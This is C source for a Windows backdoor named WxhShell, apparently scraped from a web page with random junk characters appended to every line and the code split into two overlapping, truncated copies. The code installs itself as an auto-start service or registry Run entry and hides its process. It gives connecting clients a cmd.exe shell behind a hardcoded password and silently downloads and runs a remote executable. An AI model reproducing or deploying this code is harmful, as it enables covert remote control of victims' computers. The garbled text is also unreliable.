    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lV.F,3  
    if(Boot(SHUTDOWN)) ho>k$s?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QdLYCR4f  
    else { VXR]"W=  
    closesocket(wsh); *xp\4;B  
    ExitThread(0); }E`dZW*!!  
    } G;f/Tch  
    break; ' oF xR003  
    } 8ssJ<LP  
  // 获取shell gocrjjAHk  
  case 's': { tK k#LWB  
    CmdShell(wsh); ?BhMjsy.  
    closesocket(wsh); P>9aI/d9  
    ExitThread(0); W cC?8X2  
    break; JWA@+u*k  
  } `# sTmC)  
  // 退出 F4Y @ B  
  case 'x': { ",{ibh)g$`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o[E_Ge}g8  
    CloseIt(wsh); <(vCiH9~P  
    break; Q:ezifQ  
    } 6%Be36<  
  // 离开 V 21njRS  
  case 'q': { YDGS}~m~Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IF]lHB  
    closesocket(wsh); Cuc$3l(%  
    WSACleanup(); Agrp(i"\@  
    exit(1); kD[ r.Dma  
    break; eHDef  
        } ^Q&u0;OJ  
  } [b:e:P 2  
  } :8A!HI}m{  
w,Ee>cV]a  
  // 提示信息 v:+ ~9w+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !45.puL0  
} 7 bDHXn  
  } wu"&|dt  
xV%6k{_:G  
  return; c*UvYzDZL  
} qH['09/F6  
*'"^NSJ  
// shell模块句柄 Jjl`_X$CB  
int CmdShell(SOCKET sock) )Fb>8<%  
{ 4[r/}/iGo  
STARTUPINFO si; fr!Pj(Q1  
ZeroMemory(&si,sizeof(si)); Y<0 4RV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xnE|Umz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HNL42\Kz!  
PROCESS_INFORMATION ProcessInfo; )/t?!T.[  
char cmdline[]="cmd"; 5s?Hxn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _{jjgQJ5  
  return 0; "`asF g  
} M@W[Bz  
_w*}\~`=^  
// 自身启动模式 I5h[%T  
int StartFromService(void) [%&ZPJT%i  
{ @]bPVG?d  
typedef struct g:0#u;j^7  
{ Zf5`XslA.  
  DWORD ExitStatus; 2c?qV  
  DWORD PebBaseAddress; d,$d~alY  
  DWORD AffinityMask; !z{-?o/  
  DWORD BasePriority; c)0amM  
  ULONG UniqueProcessId; R>`}e+-D  
  ULONG InheritedFromUniqueProcessId; DS|KkTy3  
}   PROCESS_BASIC_INFORMATION; sKyPosnP  
fg#x7v4O  
PROCNTQSIP NtQueryInformationProcess; ly WwGR  
~zHg[X*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >c-fI$]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E\;ikX&1  
:R.&`4=X  
  HANDLE             hProcess; (RtueEb.~E  
  PROCESS_BASIC_INFORMATION pbi; rWh6RYd<T  
Q?AmOo-a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N$[$;Fm:  
  if(NULL == hInst ) return 0; k=GG>]<i  
9C t`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ud fe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ddVa.0Z!<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G^"Vo x4  
KN"S?i]X  
  if (!NtQueryInformationProcess) return 0; eiJ2NwR\w  
wM_c48|d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hXGwP4  
  if(!hProcess) return 0; /*Qq[C  
XlI!{qj|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R}mn*h6  
8>/Q1(q0  
  CloseHandle(hProcess); #P#-xz  
b|z g<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z!0]/mCE8  
if(hProcess==NULL) return 0; lcV<MDS  
ET];%~ ^  
HMODULE hMod; &uUo3qXQ5l  
char procName[255]; w:' dhr':  
unsigned long cbNeeded; Ap{}^  
G|8%qd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jgu94.;5  
W(RF n`g\  
  CloseHandle(hProcess); 7*DMVok:  
1}ZKc=Pfu  
if(strstr(procName,"services")) return 1; // 以服务启动 `pd&se'p  
S(aZ4{a@  
  return 0; // 注册表启动 t:LcNlN|  
} VOsqJJ3  
p$7#}s  
// 主模块 9z?oB&5  
int StartWxhshell(LPSTR lpCmdLine) q %A?V _  
{ )5fQ$<(Z  
  SOCKET wsl; HyiF y7j  
BOOL val=TRUE; .}')f;jH5<  
  int port=0; !se0F.K  
  struct sockaddr_in door; W0jZOP5_.$  
7kKy\W  
  if(wscfg.ws_autoins) Install(); ;O  0+,  
4lKVY<  
port=atoi(lpCmdLine); vILy>QS)  
x_|F|9  
if(port<=0) port=wscfg.ws_port; ":3 VJ(eY  
N)% ;jh:T  
  WSADATA data; yk2!8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 97!>%d[0  
z'p:gv]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Da$r`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  g/UaYCjM  
  door.sin_family = AF_INET; Y,8KPg@W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A|}l)!%  
  door.sin_port = htons(port); '2zL.:~  
x( mE<UQN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *]JdHO  
closesocket(wsl); 7t9c7HLuj/  
return 1; gqib:q ;r  
} W\f9jfD  
avp; *G }  
  if(listen(wsl,2) == INVALID_SOCKET) { dMx4ykrR  
closesocket(wsl); 4;`Bj:.  
return 1; j\RpO'+}  
} Pag63njg?  
  Wxhshell(wsl); a'\By?V]  
  WSACleanup(); ')S;[=v  
vhr+g 'tf  
return 0; }G$]LWgQx  
yz+, gLY  
} ~#\i!I;RY}  
6pE :A@  
// 以NT服务方式启动 ^0W(hA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 52zGJ I*  
{ zm9TvoC%}  
DWORD   status = 0; Vv$HR  
  DWORD   specificError = 0xfffffff; PZ8U6K'  
x r(|*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?B.~ AUN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nA>sHy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2W M\e lnA  
  serviceStatus.dwWin32ExitCode     = 0; u!N{y,7W)  
  serviceStatus.dwServiceSpecificExitCode = 0; h06ku2Q  
  serviceStatus.dwCheckPoint       = 0; =R*Gk4<Y  
  serviceStatus.dwWaitHint       = 0; v;y0jD#b  
xa( m5P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2}}?'PwwT  
  if (hServiceStatusHandle==0) return; Ja]o GT=e  
?(KvQK|d4  
status = GetLastError(); R4%P:qM  
  if (status!=NO_ERROR) 9+YD!y  
{ 5H,G-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M ixwK,  
    serviceStatus.dwCheckPoint       = 0; >zY \Llv  
    serviceStatus.dwWaitHint       = 0; F)$K  
    serviceStatus.dwWin32ExitCode     = status; wN37zPnV~  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5TBI<K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :&'{mJW*{t  
    return; ydWtvFuS  
  } !rxp?V n -  
MQ][mMM;w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j&6 jRX  
  serviceStatus.dwCheckPoint       = 0; &;H{cv`  
  serviceStatus.dwWaitHint       = 0; Iy {U'a!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZeasYSo4P  
} $7I] `Jt  
_8K%`6!"Z  
// 处理NT服务事件,比如:启动、停止 9Z\z96O-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V'Y{v  
{ xFp<7p L  
switch(fdwControl) +-068k(  
{ ;~HNpu$  
case SERVICE_CONTROL_STOP: 1H:ea7YVU  
  serviceStatus.dwWin32ExitCode = 0; oL/o*^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (U.**9b;  
  serviceStatus.dwCheckPoint   = 0; Tc ZnmN  
  serviceStatus.dwWaitHint     = 0; w'Z!;4E0  
  { 7x.%hRk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pt:;9hA  
  } v@ONo?)  
  return; +I|8Q|^SD  
case SERVICE_CONTROL_PAUSE: eNySJf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &J"YsY  
  break; h\ ,5/ )Y  
case SERVICE_CONTROL_CONTINUE: VlW9UF-W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'zSgCgCHX8  
  break; hQh9ok8S  
case SERVICE_CONTROL_INTERROGATE: Z$K+ 7>^  
  break; j~ym<-[{a  
}; g"t^r3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V*B0lI7`B  
} 4".J/I5u  
.PVLWW  
// 标准应用程序主函数 eVnbRT2y&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) si/er"&o  
{ qc!xW ,I  
4sY[az  
// 获取操作系统版本 9rj('F & 1  
OsIsNt=GetOsVer(); OKY+M^PP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5S/>l_od$2  
f==*"?6\  
  // 从命令行安装 R$b,h  
  if(strpbrk(lpCmdLine,"iI")) Install(); $"fo^?d/s  
@vH2Vydu  
  // 下载执行文件 5ouQQ)vA  
if(wscfg.ws_downexe) { qR,.W/eS8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *M!kA65'  
  WinExec(wscfg.ws_filenam,SW_HIDE); `ENP=kL(+  
} ./maY1>T  
9EgP9up{6!  
if(!OsIsNt) { {Qtq7q.  
// 如果时win9x,隐藏进程并且设置为注册表启动 :k!j"@r  
HideProc(); i^%-aBZ  
StartWxhshell(lpCmdLine); < tQc_  
} l=Wd,$\  
else \ZnN D1A  
  if(StartFromService()) OCx5/ 88X  
  // 以服务方式启动 ~"mj;5Id  
  StartServiceCtrlDispatcher(DispatchTable); NM L|"R;  
else DA <ynBQ  
  // 普通方式启动 n85r^W  
  StartWxhshell(lpCmdLine); RebTg1vGu  
N^$9;CKP=  
return 0; !P|5#.eC  
} IhW7^(p\  
ZH-5 Qy_  
*caLN,G  
M'u=H  
=========================================== ,RK3eQ  
^@_).:oX7  
_^; ;i4VZ  
KSOO?X0j  
u(9X  
UD*+"~  
" ]V<"(?,K  
:o\5K2]:  
#include <stdio.h> B T7Id  
#include <string.h> Qq0O0U  
#include <windows.h> E/"SU*Co  
#include <winsock2.h> `` -k{C#F  
#include <winsvc.h> ^g]xU1] *  
#include <urlmon.h> =x4a~=HX  
9-- dRTG  
#pragma comment (lib, "Ws2_32.lib") =h\E<dw  
#pragma comment (lib, "urlmon.lib") "]<}Hy  
]31$KBC  
#define MAX_USER   100 // 最大客户端连接数 F50 JJZ  
#define BUF_SOCK   200 // sock buffer eUs-5 L  
#define KEY_BUFF   255 // 输入 buffer ;f(n.i  
=jUnM> 23  
#define REBOOT     0   // 重启 56ZrCr  
#define SHUTDOWN   1   // 关机 7)PJ:4IqS  
DyX0 xx^  
#define DEF_PORT   5000 // 监听端口 G;2[  
p"KV*D9b  
#define REG_LEN     16   // 注册表键长度 h2&y<Eg>  
#define SVC_LEN     80   // NT服务名长度 Vi,Y@+4  
Y`]rj-8f0B  
// 从dll定义API c(:Oyba  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b]K>vhQV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WY.5K =}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U3VT*nj'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S>EDL  
E!dp~RwZu  
// wxhshell配置信息 /hfUPO5  
struct WSCFG { wi BuEaUkW  
  int ws_port;         // 监听端口 fM9xy \.  
  char ws_passstr[REG_LEN]; // 口令 /#IH -2N  
  int ws_autoins;       // 安装标记, 1=yes 0=no r]-+bR  
  char ws_regname[REG_LEN]; // 注册表键名 {_Np<r;j<  
  char ws_svcname[REG_LEN]; // 服务名 hg#c[sZL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0x4l5x$8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~ a >S#S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dgY5ccP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ecT]p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s[Gswd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <)J55++  
Re\o v x9  
}; }6@%((9E 2  
W+/2c4$F3  
// default Wxhshell configuration  h.D^1  
struct WSCFG wscfg={DEF_PORT, r"[L0Cbb  
    "xuhuanlingzhe", fU` T\  
    1, /'"R Mq  
    "Wxhshell", n531rkK-   
    "Wxhshell", qu!<lW~c  
            "WxhShell Service", *cQz[S@F  
    "Wrsky Windows CmdShell Service", "Y(%oJS]D  
    "Please Input Your Password: ", ]]3Q*bq4  
  1, q!@c_o  
  "http://www.wrsky.com/wxhshell.exe", D zE E:&*=  
  "Wxhshell.exe" U-ULQ|6U  
    }; |QMT A5  
Y}ky/?q  
// 消息定义模块 @QX4 \  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5 Af?Yxv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8ur_/h7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r.Lx%LZ\^  
char *msg_ws_ext="\n\rExit."; sHF%=Vu  
char *msg_ws_end="\n\rQuit."; '1lx{U zD  
char *msg_ws_boot="\n\rReboot..."; G-s a L*  
char *msg_ws_poff="\n\rShutdown..."; cY^Y!.,  
char *msg_ws_down="\n\rSave to "; %WmZ ]@M  
s1v{~xP  
char *msg_ws_err="\n\rErr!"; %27G2^1  
char *msg_ws_ok="\n\rOK!"; H'']J9O  
Mi;Tn;3er  
char ExeFile[MAX_PATH]; :g/{(#E@Z  
int nUser = 0; {YfYIt=.  
HANDLE handles[MAX_USER]; DSTx#*  
int OsIsNt; TiTYs  
5%#i79z&B  
SERVICE_STATUS       serviceStatus; -/1d&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l2r>|CGQ[  
vevx|<9,  
// 函数声明 '2j~WUEmg  
int Install(void); %"{?[!C ?  
int Uninstall(void); VJGwd`qo*A  
int DownloadFile(char *sURL, SOCKET wsh); mxZ4 HD{  
int Boot(int flag); zcZ^s v>  
void HideProc(void); z{AM2Z  
int GetOsVer(void); "^!j5fZ  
int Wxhshell(SOCKET wsl); % ghJ*iHR  
void TalkWithClient(void *cs); td%Y4-+-  
int CmdShell(SOCKET sock); A03I-^0g+  
int StartFromService(void); PaA6Z":  
int StartWxhshell(LPSTR lpCmdLine); 1ME|G"$;  
!(}OBZ[*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9B& }7kk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >&g2 IvDS  
 hgNY[,  
// 数据结构和表定义 ;A`IYRzt  
SERVICE_TABLE_ENTRY DispatchTable[] = A<]&JbIt  
{ ,Z >JvTnH  
{wscfg.ws_svcname, NTServiceMain}, OrzM hQaf  
{NULL, NULL} r';Hxa '  
}; 3KR2TcT#{  
|:{g?4Mi  
// 自我安装 hLCsQYNDU  
int Install(void) L,tZh0  
{ ]U#JsMS  
  char svExeFile[MAX_PATH]; USH@:c#t  
  HKEY key; 7cy+Nz  
  strcpy(svExeFile,ExeFile); -Cg`x=G;z  
@263)`9G  
// 如果是win9x系统,修改注册表设为自启动 !^n1  
if(!OsIsNt) { eUi> Mp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PV5-^Y"v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &II JKn|_  
  RegCloseKey(key); D:+)uX}MOf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A&x ab  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tj`tLYOZ@-  
  RegCloseKey(key); ]:[)KZ~  
  return 0; ))8Emk^Q{  
    } vQ?MM&6  
  } h2im sjf  
} Vf@S8H  
else { 3Pw %[q=g  
9;}L{yve  
// 如果是NT以上系统,安装为系统服务 "TEBByO'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W9:fKP  
if (schSCManager!=0) JS }_q1H  
{ @2)t#~Wc4h  
  SC_HANDLE schService = CreateService m T>b ;  
  ( q}wl_ku9+  
  schSCManager, gK&5HTo  
  wscfg.ws_svcname,  zZS>+O  
  wscfg.ws_svcdisp, J r=REa0  
  SERVICE_ALL_ACCESS, oHv{Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZJiuj!  
  SERVICE_AUTO_START, $`-SVC  
  SERVICE_ERROR_NORMAL, 1jR=h7^=  
  svExeFile, S.zg&   
  NULL, ,<R>Hiwg/s  
  NULL, ,AGM?&A  
  NULL, hpd(d$j  
  NULL, Fr938q6^-  
  NULL 6{Krw \0  
  ); g6x/f<2x  
  if (schService!=0) S,ouj;B  
  { we6+2  
  CloseServiceHandle(schService); (CKhY~,/u  
  CloseServiceHandle(schSCManager); Vu_7uSp,)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (,d4"C  
  strcat(svExeFile,wscfg.ws_svcname); v9X7-GJ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `</=AY>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C}dKbs^g|  
  RegCloseKey(key); _stI?fz*4k  
  return 0; G_4K+ -K  
    } #"3[f@|e  
  } T%;k%  
  CloseServiceHandle(schSCManager); +xoyKP!  
} A52LH,  
} c+)36/; X  
kMfc"JXF  
return 1; r_qncy,F  
} p 02nd.R6  
=rf )yp-D  
// 自我卸载 (Von;U  
int Uninstall(void) W>aQ tT  
{ wsdB; 6%$  
  HKEY key; '7RR2f>V  
-+j9X;h:  
if(!OsIsNt) { KNO*)\   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /r::68_KQP  
  RegDeleteValue(key,wscfg.ws_regname); s K""  
  RegCloseKey(key); 'PmHBQvt&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i{1)=_$Vt`  
  RegDeleteValue(key,wscfg.ws_regname); 8.q13t !D  
  RegCloseKey(key); n',9#I(!L  
  return 0; jWO&SWso  
  } )D6'k{6M  
} : pE-{3I  
} + Tgy,oD0  
else { F1{?]>G  
H`+]dXLB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r-1yJ  
if (schSCManager!=0) B^_$ hJncc  
{ A$H+4L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nsr _\F\  
  if (schService!=0) @4W\RwD  
  { di)noQXkB-  
  if(DeleteService(schService)!=0) { 'AAF/9  
  CloseServiceHandle(schService); EDP I*@>  
  CloseServiceHandle(schSCManager); x0AqhT5}  
  return 0; ur~Tql  
  } FEm1^X#]  
  CloseServiceHandle(schService); >h/)r6  
  } h^[pp c{Z  
  CloseServiceHandle(schSCManager); <.?^LT  
} z Et6  
} F| ,Vw{  
;ZE<6;#3IP  
return 1; ^G7n#  
} ]`CKQ> o  
$@ T6g  
// 从指定url下载文件 )+Y\NO?O  
int DownloadFile(char *sURL, SOCKET wsh) gOES2 4$2  
{ g#9*bF  
  HRESULT hr; K\Y6 cj  
char seps[]= "/"; fxtYo,;$  
char *token; @'NaA SB  
char *file; n'x`oI)-  
char myURL[MAX_PATH]; <Vr] 2mw  
char myFILE[MAX_PATH]; lhIr]'?l  
c!(~BH3p  
strcpy(myURL,sURL); {8>_,z^P)  
  token=strtok(myURL,seps); U# FJ8CD&u  
  while(token!=NULL) LzEE]i  
  { fO^EMy\  
    file=token; .eDxIWW+ft  
  token=strtok(NULL,seps); rt\<nwc  
  } l+3%%TV@L  
gl(6m`a>  
GetCurrentDirectory(MAX_PATH,myFILE); !,-qn)b  
strcat(myFILE, "\\"); Li<266#A!  
strcat(myFILE, file); UmP?}Xw6  
  send(wsh,myFILE,strlen(myFILE),0); fDm}J  
send(wsh,"...",3,0); u[6`Jr~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (-G(^Tn  
  if(hr==S_OK) ]( U%1  
return 0; oN1wrf}Sh  
else l66ipgw_^I  
return 1; @]VvqCk  
y!{/'{?P  
} #Ko+_Hm?4  
ui#1+p3G  
// 系统电源模块 5>z:[OdY*  
int Boot(int flag) lG[ )8!:+  
{ fi-&[llg  
  HANDLE hToken; 6&xW9' 6b:  
  TOKEN_PRIVILEGES tkp; XM5;AcD  
pFv[z':&Q  
  if(OsIsNt) { RZ,<D I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i5~ /+~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &oK/ ]lub  
    tkp.PrivilegeCount = 1; R^Eu}?<f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +D{*L0$D"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xz Gsfd  
if(flag==REBOOT) { 48"Y-TV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !\D] \|Bo  
  return 0; iw]B QjK  
} ;6 &=]I  
else { Y$`hudJ&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dO4U9{+  
  return 0; c_8mQ  
} 1o"oa<*_  
  } qwq+?fj={  
  else { smLD m  
if(flag==REBOOT) { }RP9%n^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !^"!fuoNC  
  return 0; ]@<3 6ByM  
} |Nx!g fU  
else { K&a]pL6D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F# 37Qv  
  return 0; *mhw5Z=!  
} Uub%s`O  
} g J[q {b  
&fNE9peQFa  
return 1; lt(-,md  
} kk\zZC <  
9Nbg@5(  
// win9x进程隐藏模块 TAXkfj  
void HideProc(void) Vwh&^{Eh  
{ qu~"C,   
LXEu^F~{u#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0 c'2rx  
  if ( hKernel != NULL ) s"Pk-Dv  
  { i\R\bv[9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $q@RHcj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q!h*3mNm  
    FreeLibrary(hKernel); )b2E/G@X&  
  } yW=hnV{  
%IH|zSr)EM  
return; 9oau _Q#  
} )1yUV*6  
ujHzG}2z  
// 获取操作系统版本 ]B.,7  
int GetOsVer(void) .gsu_N_v  
{ KL\=:iWA  
  OSVERSIONINFO winfo; $=g.-F% *=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n YMf[kW  
  GetVersionEx(&winfo); Cq;K,B9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <IkD=X  
  return 1; rpP+20v  
  else %m\G'hY2  
  return 0; LVcy.kU@]  
} ppo$&W &z  
H=SMDj)s+  
// 客户端句柄模块 mt6uW+t/  
int Wxhshell(SOCKET wsl) wTuRo J  
{ bFdg '_  
  SOCKET wsh; d~bH!P  
  struct sockaddr_in client; snzH}$Ls  
  DWORD myID; WMz|FFKVY  
1B]wSvP@  
  while(nUser<MAX_USER) d.(]V2X.J  
{ =d4',[O  
  int nSize=sizeof(client); +z?f,`.*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .$}zw|,q  
  if(wsh==INVALID_SOCKET) return 1; FZ.Yn   
!rmo*-=^=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SE-, 1p  
if(handles[nUser]==0) Kz2^f@5=F  
  closesocket(wsh); bzL;)H4Eo  
else ,?N_67  
  nUser++; K dQ|$t  
  } FbNQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^WYG?/{4  
EjCzou  
  return 0; ]]QCJf@p  
} {_N(S]Z  
4)Wzj4qW  
// 关闭 socket 0+`*8G)  
void CloseIt(SOCKET wsh) #UnO~IE.m$  
{ zSufU2  
closesocket(wsh); +A3\Hj&W  
nUser--; szs3x-g  
ExitThread(0); #Lt+6sa]2@  
} -hV KPIb  
Q2WrB+/  
// 客户端请求句柄 FrM~6A_  
void TalkWithClient(void *cs) cx%9UK*c  
{ -r0\  
iYs?B0*JWK  
  SOCKET wsh=(SOCKET)cs; :hdh$}y  
  char pwd[SVC_LEN]; %lW:8 ckL  
  char cmd[KEY_BUFF]; >N"PLSY1  
char chr[1]; MBrVh6z>  
int i,j; pY5HW2TsY|  
p" W0$t.  
  while (nUser < MAX_USER) { z`{zqP:  
l]=$<  
if(wscfg.ws_passstr) { g 5N<B+?!i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `5jB|r/  
  //ZeroMemory(pwd,KEY_BUFF); W 9MZ  
      i=0; 1M FpuPJk  
  while(i<SVC_LEN) { dV*rnpN  
3sIM7WD?  
  // 设置超时 :u+#:8u  
  fd_set FdRead; 9uoj3Rh<  
  struct timeval TimeOut; 'U Cx^-  
  FD_ZERO(&FdRead); AQU: 0  
  FD_SET(wsh,&FdRead); AdW7 vn  
  TimeOut.tv_sec=8; ]Y! Vyn  
  TimeOut.tv_usec=0; eV}Tx;1|}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $F$R4?_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UeeV+xU  
}r<^]Q*&p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [,X,2  
  pwd=chr[0]; !9OgA  
  if(chr[0]==0xd || chr[0]==0xa) { UHHKI)(  
  pwd=0; .[ s82c]]6  
  break; Tz~ ftf  
  } +>({pHZ<S  
  i++; |.W;vc<  
    } l[{}ZKZ  
bncFrzp#o  
  // 如果是非法用户,关闭 socket ="E V@H?U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (ZsR=:9(  
} HKw4}FC*  
a$& 6a   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o:*iT =l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ixpG[8s  
mSeN M  
while(1) { '~a$f;: Dv  
2 ZXF_ o  
  ZeroMemory(cmd,KEY_BUFF); h%e!f#  
BBj"}~da  
      // 自动支持客户端 telnet标准   C{^@.8:  
  j=0; iP_Xr~w  
  while(j<KEY_BUFF) { ^<+heX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Z+D7Q  
  cmd[j]=chr[0]; TnAX;+u  
  if(chr[0]==0xa || chr[0]==0xd) {  p$v +L  
  cmd[j]=0; j)*nE./3  
  break; 5nb6k,+E  
  } 6[7k}9`alz  
  j++; 6GvnyJ{[  
    } F'*4:WD7  
- mXr6R?  
  // 下载文件 {m GWMv  
  if(strstr(cmd,"http://")) { n/D]r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4tTJE<y  
  if(DownloadFile(cmd,wsh)) z|H>jit+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N Q=YTRU  
  else Dw,f~D$+ic  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k JFHUR  
  } E v#aMK  
  else { (DAJ(r~  
5)6%D  
